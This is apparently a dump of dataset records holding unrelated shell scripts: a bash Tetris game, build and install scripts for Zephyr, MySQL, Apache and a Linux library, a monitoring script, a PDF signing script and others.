$current_piece_color\n set_bg $current_piece_color\n draw_current \"${filled_cell}\"\n reset_colors\n}\n\nclear_current() {\n draw_current \"${empty_cell}\"\n}\n\nnew_piece_location_ok() {\n # Arguments: 1 - new x coordinate of the piece, 2 - new y coordinate of the piece\n # test if piece can be moved to new location\n local i c x y x_test=$1 y_test=$2\n\n for ((i = 0; i < 4; i++)) {\n c=0x${piece_data[$current_piece]:$((i + current_piece_rotation * 4)):1}\n # new x and y coordinates of piece cell\n ((y = (c >> 2) + y_test))\n ((x = (c & 3) + x_test))\n ((y < 0 || y >= PLAYFIELD_H || x < 0 || x >= PLAYFIELD_W )) && return 1 # check if we are out of the play field\n ((((playfield[y] >> (x * 3)) & 7) != 0 )) && return 1 # check if location is already ocupied\n }\n return 0\n}\n\nget_random_next() {\n # next piece becomes current\n current_piece=$next_piece\n current_piece_rotation=$next_piece_rotation\n current_piece_color=$next_piece_color\n # place current at the top of play field, approximately at the center\n ((current_piece_x = (PLAYFIELD_W - 4) / 2))\n ((current_piece_y = 0))\n # check if piece can be placed at this location, if not - game over\n new_piece_location_ok $current_piece_x $current_piece_y || exit\n show_current\n\n draw_next 0\n # now let's get next piece\n ((next_piece = RANDOM % ${#piece_data[@]}))\n ((next_piece_rotation = RANDOM % (${#piece_data[$next_piece]} / 4)))\n ((next_piece_color = colors[RANDOM % ${#colors[@]}]))\n draw_next\n}\n\ndraw_border() {\n local i x1 x2 y\n\n set_bold\n set_fg $BORDER_COLOR\n ((x1 = PLAYFIELD_X - 2)) # 2 here is because border is 2 characters thick\n ((x2 = PLAYFIELD_X + PLAYFIELD_W * 2)) # 2 here is because each cell on play field is 2 characters wide\n for ((i = 0; i < PLAYFIELD_H + 1; i++)) {\n ((y = i + PLAYFIELD_Y))\n xyprint $x1 $y \"<|\"\n xyprint $x2 $y \"|>\"\n }\n\n ((y = PLAYFIELD_Y + PLAYFIELD_H))\n for ((i = 0; i < PLAYFIELD_W; i++)) {\n ((x1 = i * 2 + PLAYFIELD_X)) # 2 here is because each cell on play field is 2 characters wide\n xyprint $x1 $y '=='\n xyprint $x1 $((y + 1)) \"\\/\"\n }\n reset_colors\n}\n\nredraw_screen() {\n draw_next\n update_score 0\n draw_help\n draw_border\n redraw_playfield\n show_current\n}\n\ntoggle_color() {\n ((use_color ^= 1))\n redraw_screen\n}\n\ninit() {\n local i\n\n # playfield is initialized with -1s (empty cells)\n for ((i = 0; i < PLAYFIELD_H; i++)) {\n playfield[$i]=0\n }\n\n clear\n hide_cursor\n get_random_next\n get_random_next\n redraw_screen\n flush_screen\n}\n\n# this function updates occupied cells in playfield array after piece is dropped\nflatten_playfield() {\n local i c x y\n for ((i = 0; i < 4; i++)) {\n c=0x${piece_data[$current_piece]:$((i + current_piece_rotation * 4)):1}\n ((y = (c >> 2) + current_piece_y))\n ((x = (c & 3) + current_piece_x))\n ((playfield[y] |= (current_piece_color << (x * 3))))\n }\n}\n\n# this function takes row number as argument and checks if has empty cells\nline_full() {\n local row=${playfield[$1]} x\n for ((x = 0; x < PLAYFIELD_W; x++)) {\n ((((row >> (x * 3)) & 7) == 0)) && return 1\n }\n return 0\n}\n\n# this function goes through playfield array and eliminates lines without empty cells\nprocess_complete_lines() {\n local y complete_lines=0\n for ((y = PLAYFIELD_H - 1; y > -1; y--)) {\n line_full $y && {\n unset playfield[$y]\n ((complete_lines++))\n }\n }\n for ((y = 0; y < complete_lines; y++)) {\n playfield=(0 ${playfield[@]})\n }\n return $complete_lines\n}\n\nprocess_fallen_piece() {\n flatten_playfield\n process_complete_lines && return\n update_score $?\n redraw_playfield\n}\n\nmove_piece() {\n# arguments: 1 - new x coordinate, 2 - new y coordinate\n# moves the piece to the new location if possible\n if new_piece_location_ok $1 $2 ; then # if new location is ok\n clear_current # let's wipe out piece current location\n current_piece_x=$1 # update x ...\n current_piece_y=$2 # ... and y of new location\n show_current # and draw piece in new location\n return 0 # nothing more to do here\n fi # if we could not move piece to new location\n (($2 == current_piece_y)) && return 0 # and this was not horizontal move\n process_fallen_piece # let's finalize this piece\n get_random_next # and start the new one\n return 1\n}\n\ncmd_right() {\n move_piece $((current_piece_x + 1)) $current_piece_y\n}\n\ncmd_left() {\n move_piece $((current_piece_x - 1)) $current_piece_y\n}\n\ncmd_rotate() {\n local available_rotations old_rotation new_rotation\n\n available_rotations=$((${#piece_data[$current_piece]} / 4)) # number of orientations for this piece\n old_rotation=$current_piece_rotation # preserve current orientation\n new_rotation=$(((old_rotation + 1) % available_rotations)) # calculate new orientation\n current_piece_rotation=$new_rotation # set orientation to new\n if new_piece_location_ok $current_piece_x $current_piece_y ; then # check if new orientation is ok\n current_piece_rotation=$old_rotation # if yes - restore old orientation\n clear_current # clear piece image\n current_piece_rotation=$new_rotation # set new orientation\n show_current # draw piece with new orientation\n else # if new orientation is not ok\n current_piece_rotation=$old_rotation # restore old orientation\n fi\n}\n\ncmd_down() {\n move_piece $current_piece_x $((current_piece_y + 1))\n}\n\ncmd_drop() {\n # move piece all way down\n # this is example of do..while loop in bash\n # loop body is empty\n # loop condition is done at least once\n # loop runs until loop condition would return non zero exit code\n while move_piece $current_piece_x $((current_piece_y + 1)) ; do : ; done\n}\n\nstty_g=$(stty -g) # let's save terminal state ...\n\nat_exit() {\n kill $ticker_pid # let's kill ticker process ...\n xyprint $GAMEOVER_X $GAMEOVER_Y \"Game over!\"\n echo -e \"$screen_buffer\" # ... print final message ...\n show_cursor\n stty $stty_g # ... and restore terminal state\n}\n\n# this function runs in separate process\n# it sends SIGUSR1 signals to the main process with appropriate delay\nticker() {\n # on SIGUSR1 delay should be decreased, this happens during level ups\n trap 'DELAY=$(($DELAY * $DELAY_FACTOR))' SIGUSR1\n trap exit TERM\n\n while sleep $((DELAY / 1000)).$(printf \"%03d\" $((DELAY % 1000))); do kill -SIGUSR1 $1 || exit; done 2>/dev/null\n}\n\ndo_tick() {\n $tick_blocked && tick_scheduled=true && return\n cmd_down\n flush_screen\n}\n\nmain() {\n local -u key a='' b='' esc_ch=$'\\x1b'\n local cmd\n # commands is associative array, which maps pressed keys to commands, sent to controller\n local -A commands=([A]=cmd_rotate [C]=cmd_right [D]=cmd_left\n [_S]=cmd_rotate [_A]=cmd_left [_D]=cmd_right\n [_]=cmd_drop [_Q]=exit [_H]=toggle_help [_N]=toggle_next [_C]=toggle_color)\n\n trap at_exit EXIT\n trap do_tick SIGUSR1\n init\n ticker $$ &\n ticker_pid=$!\n tick_blocked=false\n tick_scheduled=false\n\n while read -s -n 1 key ; do\n case \"$a$b$key\" in\n \"${esc_ch}[\"[ACD]) cmd=${commands[$key]} ;; # cursor key\n *${esc_ch}${esc_ch}) cmd=exit ;; # exit on 2 escapes\n *) cmd=${commands[_$key]:-} ;; # regular key. If space was pressed $key is empty\n esac\n a=$b # preserve previous keys\n b=$key\n [ -n \"$cmd\" ] && {\n tick_blocked=true\n $cmd\n tick_blocked=false\n $tick_scheduled && tick_scheduled=false && do_tick\n flush_screen\n }\n done\n}\n\nmain"} {"text": "KRRVU/kgbenchscripts/strip_targets.sh\n#!/usr/bin/bash\n\nif ! command -v rdf2hdt &> /dev/null\nthen\n echo \"Missing rdf2hdt\"\n exit 1\nfi\n\n\nfunction is_filetype {\n if [[ \"$1\" == *.\"$2\" ]]\n then\n return 1\n fi\n\n return 0\n }\n\nfunction is_hdt() {\n is_filetype \"$1\" \"hdt\"\n return $?\n }\n\nfunction is_nt() {\n is_filetype \"$1\" \"nt\"\n return $?\n }\n\nif [[ $# -ne 2 ]];\nthen\n echo \"USAGE: ./strip_targets.sh \"\n exit 1\nfi\n\ngraph_unstripped=\"$1\"\ntarget_predicate=\"$2\"\n\nis_hdt \"$graph_unstripped\"\nif [ $? -eq 1 ];\nthen\n filename=$(basename -s .hdt \"$graph_unstripped\")\n hdt2rdf \"$graph_unstripped\" \"$filename\"\".nt\"\n graph_unstripped=\"$filename\"\".nt\"\nfi\n\nis_nt \"$graph_unstripped\"\nif [ $? -ne 1 ];\nthen\n echo \"Expecting hdt or nt file\"\n exit 1\nfi\n\nfilename=$(basename -s .nt \"$graph_unstripped\")\ngrep \"^.*\\s<$target_predicate>\\s.*\\s\\.\" \"$graph_unstripped\" | gzip - > samples.nt.gz\nsed -e \"\\|^.*\\s<$target_predicate>\\s.*\\s\\.|d\" \"$graph_unstripped\" > \"$filename\"\"_stripped.nt\"\n\nrdf2hdt \"$filename\"\"_stripped.nt\" \"$filename\"\"_stripped.hdt\"\n\necho \"Delete $filename_stripped.nt to clear intermediate file\"\n\nexit 0"} {"text": "DICERs/DICER\ncd ${DICER_HOME}/DICER/dicer-service/target/\nkill -9 `cat PID.pid`"} {"text": "#!/bin/bash\nset -ev\ncd sleef.build\nmake -j `nproc` all\nexport OMP_WAIT_POLICY=passive\nexport CTEST_OUTPUT_ON_FAILURE=TRUE\nctest -j `nproc`\nmake install"} {"text": "#!/usr/bin/env bash\n\ncd \"${EXAMPLE_PKG_DIR}\" &&\n\nwebpack --bail --config ./vanilla/webpack.config.js &&\nwebpack --bail --config ./happy/webpack.config.js &&\n\ncd \"${EXAMPLE_OUT_DIR}\" &&\n\ngit-diff ./happy/client.js ./vanilla/client.js &&\ngit-diff ./happy/server.js ./vanilla/server.js &&\n\ngrep -q \"success\" ./happy/client.js &&\ngrep -q \"success\" ./vanilla/client.js"} {"text": "~/temp/gdal/gdal-2.3.2/apps/ogr2ogr -f MVT na-lkm-s3f.mbtiles na-lkm-s3f.geojson \\\n -dsco MINZOOM=14 -dsco MAXZOOM=14"} {"text": "antmicro/litepcie\n#!/bin/sh\n# TODO: use udev instead\n\nFOUND=$(lsmod | grep litepcie)\nif [ \"$FOUND\" != \"\" ] ; then\n echo \"Module already installed\"\n exit 0\nfi\n\nINS=$(insmod litepcie.ko 2>&1)\nif [ \"$?\" != \"0\" ] ; then\n ERR=$(echo $INS | sed -s \"s/.*litepcie.ko: //\")\n case $ERR in\n 'Invalid module format')\n set -e\n echo \"Kernel may have changed, try to rebuild module\"\n make -s clean\n make -s\n insmod litepcie.ko\n set +e\n ;;\n 'No such file or directory')\n set -e\n echo \"Module not compiled\"\n make -s\n insmod litepcie.ko\n set +e\n ;;\n 'Required key not available')\n echo \"Can't insert kernel module, secure boot is probably enabled\"\n echo \"Please disable it from BIOS\"\n exit 1\n ;;\n *)\n >&2 echo $INS\n exit 1\n esac\nfi\n\nfor i in `seq 0 16` ; do\n chmod 666 /dev/litepcie$i > /dev/null 2>&1\ndone"} {"text": "#!/bin/sh\n\nif [ $# -eq 0 ] \nthen\n echo \"Usage: $0 ...\"\n echo \" zephyr clone and build Zephyr RTOS 2.2.0\"\n echo \" elf build Zephyr application in and copy ELF to ./elf/\"\n echo \" ripe build all 5 ripe attack scenarios for the RISC-V IoT contest\"\n echo\n echo \"\"\n echo \" zephyrproject/zephyr/samples/hello_world\"\n echo \" zephyrproject/zephyr/samples/synchronization\"\n echo \" zephyrproject/zephyr/samples/philosophers\"\n echo \" apps/ripe\"\n exit 1\nfi\n\n# Read configuration for external tools\n. ../../config_default.sh ; [ ! -e ../../config.sh ] || . ../../config.sh\n\nexport | grep ZEPHYR\n\n# ---------------------------------------------\n# targets\n# ---------------------------------------------\n\ntarget_zephyr() {\n\n # Install SDK 0.11.4\n # Zephyr 2.2.0 does not support SDK versions >= 0.12\n wget https://github.com/zephyrproject-rtos/sdk-ng/releases/download/v0.11.4/zephyr-sdk-0.11.4-setup.run\n chmod +x zephyr-sdk-0.11.4-setup.run\n ./zephyr-sdk-0.11.4-setup.run -- -d ~/.local/zephyr-sdk-0.11.4\n\n pip3 install --user west\n west init zephyrproject --mr v2.2.0\n cd zephyrproject\n west update\n\n pip3 install --user -r zephyr/scripts/requirements.txt\n ZEPHYR_TOOLCHAIN_VARIANT=zephyr\n export ZEPHYR_TOOLCHAIN_VARIANT\n ZEPHYR_BASE=$(pwd)/zephyr\n export ZEPHYR_BASE\n cd ..\n}\n\n# $1 attack number 1...5\ntarget_ripe() {\n srcfile=apps/ripe/src/ripe_attack_generator.c\n\n # set attack number\n sed -i.bak \"s/^#define ATTACK_NR .*/#define ATTACK_NR $1/\" ${srcfile}\n\n west build -p -b rudolv apps/ripe/ -- -DBOARD_ROOT=$(pwd)\n cp build/zephyr/zephyr.elf elf/ripe$1.elf\n mv ${srcfile}.bak ${srcfile}\n}\n\n# $1 path to app directory\ntarget_elf() {\n west build -p -b rudolv $1 -- -DBOARD_ROOT=$(pwd)\n\n mkdir -p elf\n cp build/zephyr/zephyr.elf elf/$(basename $1).elf\n}\n\n\n\n# ---------------------------------------------\n# check dependencies\n# ---------------------------------------------\n\nif [ -z \"$ZEPHYR_SDK_INSTALL_DIR\" ]\nthen\n echo \"ZEPHYR_SDK_INSTALL_DIR must be set\"\n exit 2\nfi\n\nif [ \"$1\" != zephyr ]\nthen\n if [ -z \"$ZEPHYR_TOOLCHAIN_VARIANT\" ]\n then\n if [ ! -d zephyrproject/zephyr ]\n then\n echo \"Zephyr not found. Set ZEPHYR_BASE or install with $0 zephyr\"\n exit 3\n fi\n ZEPHYR_TOOLCHAIN_VARIANT=zephyr\n export ZEPHYR_TOOLCHAIN_VARIANT\n ZEPHYR_BASE=$(pwd)/zephyrproject/zephyr\n export ZEPHYR_BASE\n fi\nfi\n\n\n\n# ---------------------------------------------\n# main loop: process one target after the other\n# ---------------------------------------------\n\nwhile [ $# -ne 0 ]\ndo\n case $1 in\n zephyr)\n target_zephyr\n ;;\n elf)\n target_elf $2\n shift\n ;;\n ripe)\n target_ripe 1\n target_ripe 2\n target_ripe 3\n target_ripe 4\n target_ripe 5\n ;;\n clean)\n rm -rf elf\n rm -rf build\n ;;\n *)\n echo \"Unknown target $1. Stop.\"\n exit 2\n ;;\n esac\n shift\ndone"} {"text": "# -*- coding: utf-8 -*-\n#!/bin/bash\n\nPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin\nexport PATH\n\n#https://dev.mysql.com/downloads/mysql/5.7.html\n#https://dev.mysql.com/downloads/file/?id=489855\n\ncurPath=`pwd`\nrootPath=$(dirname \"$curPath\")\nrootPath=$(dirname \"$rootPath\")\nserverPath=$(dirname \"$rootPath\")\nsysName=`uname`\n\n\ninstall_tmp=${rootPath}/tmp/slemp_install.pl\nmysqlDir=${serverPath}/source/mysql\n\nInstall_mysql()\n{\n\tmkdir -p ${mysqlDir}\n\techo '正在安装脚本文件...' > $install_tmp\n\n\tINSTALL_CMD=cmake\n\tif [ \"$sysName\" != \"Darwin\" ];then\n\t\tmkdir -p /var/log/mariadb\n\t\ttouch /var/log/mariadb/mariadb.log\n\t\tgroupadd mysql\n\t\tuseradd -g mysql mysql\n\n\t\tyum install -y cmake3\n\t\tINSTALL_CMD=cmake3\n\tfi \n\n\tif [ ! -f ${mysqlDir}/mysql-boost-8.0.22.tar.gz ];then\n\t\twget -O ${mysqlDir}/mysql-boost-8.0.22.tar.gz https://cdn.mysql.com/archives/mysql-8.0/mysql-boost-8.0.22.tar.gz\n\tfi\n\n\tif [ ! -d ${mysqlDir}/mysql-8.0.22 ];then\n\t\t cd ${mysqlDir} && tar -zxvf ${mysqlDir}/mysql-boost-8.0.22.tar.gz\n\tfi\n\n\tif [ ! -d $serverPath/mysql ];then\n\t\tcd ${mysqlDir}/mysql-8.0.22 && ${INSTALL_CMD} \\\n\t\t-DCMAKE_INSTALL_PREFIX=$serverPath/mysql \\\n\t\t-DMYSQL_USER=mysql \\\n\t\t-DMYSQL_TCP_PORT=3306 \\\n\t\t-DMYSQL_UNIX_ADDR=/var/tmp/mysql.sock \\\n\t\t-DWITH_MYISAM_STORAGE_ENGINE=1 \\\n\t\t-DWITH_INNOBASE_STORAGE_ENGINE=1 \\\n\t\t-DWITH_MEMORY_STORAGE_ENGINE=1 \\\n\t\t-DENABLED_LOCAL_INFILE=1 \\\n\t\t-DWITH_PARTITION_STORAGE_ENGINE=1 \\\n\t\t-DEXTRA_CHARSETS=all \\\n\t\t-DDEFAULT_CHARSET=utf8 \\\n\t\t-DDEFAULT_COLLATION=utf8_general_ci \\\n\t\t-DDOWNLOAD_BOOST=1 \\\n\t\t-DFORCE_INSOURCE_BUILD=1 \\\n\t\t-DWITH_BOOST=${mysqlDir}/mysql-8.0.22/boost/\n\t\tmake && make install && make clean\n\t\techo '8.0' > $serverPath/mysql/version.pl\n\t\techo '安装完成' > $install_tmp\n\tfi\n}\n\nUninstall_mysql()\n{\n\trm -rf $serverPath/mysql\n\techo '卸载完成' > $install_tmp\n}\n\naction=$1\nif [ \"${1}\" == 'install' ];then\n\tInstall_mysql\nelse\n\tUninstall_mysql\nfi"} {"text": "ktpickard/startcodon\n#!/bin/bash\n# install-apache.sh\n# by ktpickard on 2020-09-25\n\n# Add apache to Ubuntu 18.04 LTS\nsudo add-apt-repository ppa:ondrej/apache2\nsudo apt update\nsudo apt-get install apache2 -y\nsudo apache2ctl -v\n# Check that apache is running\nsudo service apache2 status\n# Edit apache.conf\ncd /etc/apache2\necho \"To list files, change these apache permissions\"\necho \"\"\necho \" Options Indexes FollowSymLinks Includes ExecCGI\"\necho \" AllowOverride All\"\necho \" Order deny,allow\"\necho \" Require all granted\"\necho \"\"\nread -p \"Press enter to edit apache2.conf\"\nsudo vi apache2.conf\n# Check the configuration\nsudo apachectl configtest\n# Restart apache\nsudo service apache2 restart"} {"text": "#!/bin/bash\nexport PATH=$PATH:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin\nuname -a|grep -q xen >/dev/null\nif [ \"$?\" -eq \"0\" ] ;then\n eth_dev=p$(ip route|grep default|awk '{print $5}')\nelse\n eth_dev=$(ip route|grep default|awk '{print $5}')\nfi\n\nlsmod |grep -q -E 'virtio_net|xen_net'\nif [ \"$?\" -eq \"1\" ] ;then\n zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -k eth_dev.speed -o $(ethtool $eth_dev|grep Speed|awk '{print $2}'|tr -d [:alpha:]|tr -d '/') >/dev/null\n zabbix_sender -c /etc/zabbix/zabbix_agentd.conf -k eth_dev.duplex -o $(ethtool $eth_dev|grep Duplex|awk '{print $2}') >/dev/null\nfi"} {"text": "1-10\n#!/bin/sh\n\nIP_ADDR=`ipconfig getifaddr en0`\n\necho \"============================================\"\necho \"Connect tablet to ip address: $IP_ADDR \"\necho \"============================================\"\n\n/opt/osp/osp -a -t"} {"text": "#!/usr/bin/env bash\n#\n# Copyright lowRISC contributors.\n# Licensed under the Apache License, Version 2.0, see LICENSE for details.\n# SPDX-License-Identifier: Apache-2.0\n\n# Helper script that cleans up the input from stdin (presumed to be the output\n# of e.g. clang -E) which removes extraneous metadata, such as line-number\n# directives, which is not particularly useful for readers; also, hits the output\n# with clang-format (if available as the $CLANG_FORMAT variable).\n\nset -e\n\n# The first regular expression removes any line starting with `# 123`, which\n# the preprocessor inserts as a sort of \"context string\" (this is a GCC-specific\n# extension that Clang also implements). We then shove it into clang-format.\nperl -pe 's/# \\d+.+$//g' \\\n | perl -0777pe 's/\\n{2,}/\\n\\n/g' \\\n | \"${CLANG_FORMAT:-cat}\""} {"text": "#ResNeXt:\npython cifar.py -m resnext -e 200 --padain 0.01 -s resnext_padain\n\n# DenseNet:\npython cifar.py -m densenet -e 200 -wd 0.0001 --padain 0.01 -s densenet_padain"} {"text": "0\n#!/bin/sh\n# Lanzador de Pac-Man modo busters en el mapa oneHunt\necho Ejecutando pacman-busters\n#python busters.py -n 1 -l oneHunt -p BasicAgentAA -g RandomGhost -k 4 -t 0.25\n\npython busters.py -p BasicAgentAA"} {"text": "# ASTRID - Kafka entrypoint for Docker image\n# author: <>\n\n./bin/$COMPONENT_DEP-server-start.sh ./config/$COMPONENT_DEP.properties &\n./bin/$COMPONENT-server-start ./config/$COMPONENT.properties &"} {"text": "# MIT License\n# Customizable ScriftLang Build File\n# Copyright (c) 2020 All Rights Reserved.\n# Distributed under the terms of the MIT License.\n# \n#!/bin/sh\n\ng++ EasyGit.cpp -o easygit && ./easygit"} {"text": "0\n#!/bin/sh\n### BEGIN INIT INFO\n# Provides: elgassia\n# Required-Start: $remote_fs $syslog $lighttpd\n# Required-Stop: $remote_fs $syslog $lighttpd\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: start Elgassia\n# Description: Elgassia website\n### END INIT INFO\n\n\nPROJDIR=$(dirname $(readlink -e \"$0\"))\nBASEDIR=$(dirname \"$PROJDIR\")\n\nPROJNAME=\"elgassia\"\n\nENVDIR=\"$BASEDIR/$PROJNAME-env\"\nPIDFILE=\"$BASEDIR/$PROJNAME.pid\"\nSOCKET=\"$BASEDIR/$PROJNAME.sock\"\n\nMANAGER=\"$PROJDIR/manage.py\"\n\nHOST=127.0.0.1\nPORT=\"3034\"\n\nUSER=\"www\"\n\n. $ENVDIR/bin/activate\n\ncase \"$1\" in\n start)\n start-stop-daemon --start --user \"$USER\" --chuid \"$USER\" \\\n --startas \"$MANAGER\" --pidfile \"$PIDFILE\" \\\n -- runfcgi host=\"$HOST\" port=\"$PORT\" pidfile=\"$PIDFILE\"\n ;;\n stop)\n start-stop-daemon --stop --user \"$USER\" --startas \"$MANAGER\" \\\n --pidfile \"$PIDFILE\"\n ;;\nesac"} {"text": "#!/bin/bash\n\nsource $HOME/.virtualenvs/type-dna/bin/activate\n$HOME/.virtualenvs/type-dna/bin/python $PWD/server.py"} {"text": "#!/bin/bash\n\necho -e \"\\033[42;37m============================================================\\033[0m\"\necho -e \"\\033[42;37m= push =\\033[0m\"\n\ngit push; echo\ngit submodule foreach --recursive \"git push; echo\"\n\necho -e \"\\033[42;37m============================================================\\033[0m\""} {"text": "opencv4_compile/jetpack4.4/home/env.sh\n#!/bin/sh\n\nOPENCV4_DIR=/opt/opencv-4.5.0\n\nPATH=$OPENCV4_DIR/bin:$PATH\nLD_LIBRARY_PATH=$OPENCV4_DIR/lib:$OPENCV4_DIR/lib/aarch64-linux-gnu:$LD_LIBRARY_PATH\nPYTHONPATH=$OPENCV4_DIR/lib/python3.6/dist-packages:$PYTHONPATH\n\nexport PATH LD_LIBRARY_PATH PYTHONPATH"} {"text": "#!/bin/sh\n#\n# This in one-shot scripts to test \"heavy load\" uasyncio HTTP server using\n# Boom tool https://github.com/tarekziade/boom .\n#\n# Note that this script doesn't test performance, but rather test functional\n# correctness of uasyncio server implementation, while serving large amounts\n# of data (guaranteedly more than a socket buffer). Thus, this script should\n# not be used for benchmarking.\n#\n\nif [ ! -d .venv-boom ]; then\n virtualenv .venv-boom\n . .venv-boom/bin/activate\n # PyPI currently has 0.8 which is too old\n #pip install boom\n pip install git+https://github.com/tarekziade/boom\nelse\n . .venv-boom/bin/activate\nfi\n\n\nmicropython -X heapsize=300000000 -O test_http_server_heavy.py &\nsleep 1\n\nPYTHONPATH=. boom -n1000 -c30 http://localhost:8081 --post-hook=boom_uasyncio.validate\n\nkill %1"} {"text": "sign.sh\n# Signs the PDF CV\n# ------------------------------------------------------------------------------\n# In order to work, please make sure you have a sign.env file containing all\n# required variable. See example for more information about the vars to declare\n#\n# Example:\n# keystore_file=/home/user/certificate.p12\n# keystore_type=PKCS12\n# # keystore_types=check with $JSIGNPDF -lkt\n# contact=\n# location=Washington DC, USA\n# # Constants\nJSIGNPDF=\"java -jar /opt/jsignpdf/current/JSignPdf.jar\"\nSIGN_FILE=\"./docs/davidlj95_Resume.pdf\"\nEXTENSION=\"${SIGN_FILE##*.}\"\nSUFFIX=\"_signed\"\nSIGNED_FILE=\"${SIGN_FILE%.*}$SUFFIX.$EXTENSION\"\nVAR_FILE=\"sign.env\"\n# # Load more constants\nsource \"$VAR_FILE\"\n# # Options\nOPTIONS=\"$OPTIONS --contact \\\"$contact\\\"\"\nOPTIONS=\"$OPTIONS --location \\\"$location\\\"\"\nOPTIONS=\"$OPTIONS --certification-level CERTIFIED_NO_CHANGES_ALLOWED\"\nOPTIONS=\"$OPTIONS --disable-assembly --disable-copy --disable-fill --disable-modify-annotations\"\nOPTIONS=\"$OPTIONS --disable-modify-content\"\nOPTIONS=\"$OPTIONS --encryption PASSWORD\"\nOPTIONS=\"$OPTIONS --out-directory ./docs\"\nOPTIONS=\"$OPTIONS --hash-algorithm SHA512\"\nOPTIONS=\"$OPTIONS --keystore-file $keystore_file\"\nOPTIONS=\"$OPTIONS --keystore-type $keystore_type\"\nOPTIONS=\"$OPTIONS --out-suffix \\\"$SUFFIX\\\"\"\nOPTIONS=\"$OPTIONS --tsa-authentication NONE\"\nOPTIONS=\"$OPTIONS --tsa-server-url https://freetsa.org/tsr\"\nOPTIONS=\"$OPTIONS --tsa-hash-algorithm SHA512\"\n# Run\necho \"Signing PDF file \\\"$SIGN_FILE\\\"\"\n# # File exists\nif test ! -r \"$SIGN_FILE\" -o ! -f \"$SIGN_FILE\"; then\n\techo \"File to sign not found\"\n\texit 5\nfi\n# # Questions\nread -s -p \" Type your keystore file password: \" keystore_password\nOPTIONS=\"$OPTIONS --keystore-password \\\"$keystore_password\\\"\"\necho\nread -s -p \" Type your password to protected signed PDF rights: \" owner_password\nOPTIONS=\"$OPTIONS --owner-password \\\"$\\\"\"\necho\n# # Do the sign\n$JSIGNPDF $SIGN_FILE $OPTIONS\nsign_exit_code=$?\n# # Check if OK\ncase $sign_exit_code in\n 0)\n\t# Finished properly\n\techo \"Success signing\"\n\t# Open\n\txdg-open \"$SIGNED_FILE\"\n\t# Replace\n\twhile true; do\n\t read -p \" Do you want to replace signed by original one?: \" yn\n\t case $yn in\n\t [Yy]* ) mv \"$SIGNED_FILE\" \"$SIGN_FILE\"; break;;\n\t [Nn]* ) exit;;\n\t * ) echo \"Please answer yes or no.\";;\n\t esac\n\tdone\n\t;;\n 1) echo \"Wrong command line\";;\n 2) echo \"No operation requested\";;\n 3) echo \"Signing of some files failed\";;\n 4) echo \"Signing of all files failed\";;\nesac\necho \"Finished signing\"\nexit $sign_exit_code"} {"text": "PHS.sh\n#!/bin/bash\nsource miners.sh\nfor i in $miners\ndo\n php switchpool.php stratum+tcp://phs.cryptcoins.net:3993 salfter.${i} x clear ${i} 4029\ndone"} {"text": "10-100\n#!/bin/bash\n\nset -o errexit\n\ngit clone https://github.com/lkl/linux.git --depth=1 --branch master linux-tmp\n \n# Reset all access times to be in the past\nfind linux-tmp | xargs touch -a -d 2015-01-01\n \n# Make the library. This will update the access times of only the actually needed files\nmake -j $(nproc) -C linux-tmp/tools/lkl static\nmake -j $(nproc) -C linux-tmp/tools/lkl clean\nmake -j $(nproc) CROSS_COMPILE=i686-w64-mingw32- -C linux-tmp/tools/lkl static\n\n# Delete anything that wasn't accessed\nfind linux-tmp ! -path \"*/.git/*\" -atime +2 ! -type d ! -name .gitignore -delete\n# Delete a second time to delete empty directories\nfind linux-tmp ! -path \"*/.git/*\" -atime +2 -type d -empty -delete\n\n# Cleanup all built objects\ngit -C linux-tmp clean -ffxd\n\n# Verify that the pruned tree builds\nmake -j $(nproc) -C linux-tmp/tools/lkl static\nmake -j $(nproc) -C linux-tmp/tools/lkl clean\nmake -j $(nproc) CROSS_COMPILE=i686-w64-mingw32- -C linux-tmp/tools/lkl static\n\n# Cleanup all built objects again\ngit -C linux-tmp clean -ffxd\n\n# Remove history\nrm -rf linux-tmp/.git\n\n# Vendor the code\nrm -rf src/linux\nmv linux-tmp src/linux"} {"text": "Tools/scp_expect_spawn.sh\n#!/usr/bin/expect\n\nset timeout 30\nspawn scp -P 22 -r [lindex $argv 0] root@127.0.0.1:/root/rainsty/[lindex $argv 1]\n\nexpect {\n \"(yes/no)?\"\n {send \"yes\\n\";exp_continue}\n \"password:\"\n {send \"\"}\n}\ninteract"} {"text": "#!/usr/bin/env bash\n\n# -------------------------------------------------------------------------------- #\n# Description #\n# -------------------------------------------------------------------------------- #\n# This is a simple script to display a matrix of colours based on the number of #\n# colours that your terminal is able to support. #\n# #\n# It will make best efforts to size the output to the size of your terminal making #\n# it display nicely in most terminals. #\n# #\n# It has 4 main use cases: #\n# -c = Show a complete display of all the available colour combinations #\n# -n = Display just the number of colours the terminal supports #\n# -s = Show a simple display of the available colours (default) #\n# -t = Test mode - show what a colour looks like for inputted values #\n# -------------------------------------------------------------------------------- #\n\n# -------------------------------------------------------------------------------- #\n# Global Variables #\n# -------------------------------------------------------------------------------- #\n# The following global variables are used simple to make the header look nice. #\n# -------------------------------------------------------------------------------- #\n\nSCRIPT_TITLE=\"Bash Colour Testcard\"\n\nLIMITED_MODE=false\n\n# -------------------------------------------------------------------------------- #\n# Script/Command Line Parameters #\n# -------------------------------------------------------------------------------- #\n# The following functions are directly linked to the command line parameters that #\n# users are able to specify when running the script. #\n# #\n# There are 4 main parameters: #\n# -c = Show a complete display of all the available colour combinations #\n# -n = Display just the number of colours the terminal supports #\n# -s = Show a simple display of the available colours (default) #\n# -t = Test mode - show what a colour looks like for inputted values #\n# #\n# There is 1 other additional parameter: #\n# -h = Display the help page #\n# -------------------------------------------------------------------------------- #\n\n# -------------------------------------------------------------------------------- #\n# -n parameter #\n# -------------------------------------------------------------------------------- #\n# This function is run when the user passes -n to the script, and it shows the #\n# most minimal information possible. In this case it is a stripped down version #\n# of the script header showing the number of colours supported by the terminal. #\n# -------------------------------------------------------------------------------- #\n\nfunction show_colour_count\n{\n printf '%s\\n' \"${SCRIPT_TITLE}\"\n printf 'Your terminal appears to support %s colours\\n' \"${ncolors}\"\n}\n\n# -------------------------------------------------------------------------------- #\n# -s (default) parameter #\n# -------------------------------------------------------------------------------- #\n# This function is run when the user passes -s to the script, and it shows the #\n# user a complete list of all available colour codes and an example of what the #\n# colour will look like. It does NOT show the foreground and background versions #\n# instead it uses just the background colour for simplicity. #\n# #\n# It uses the 'screen_width' in order to try to make the full use of the terminal #\n# 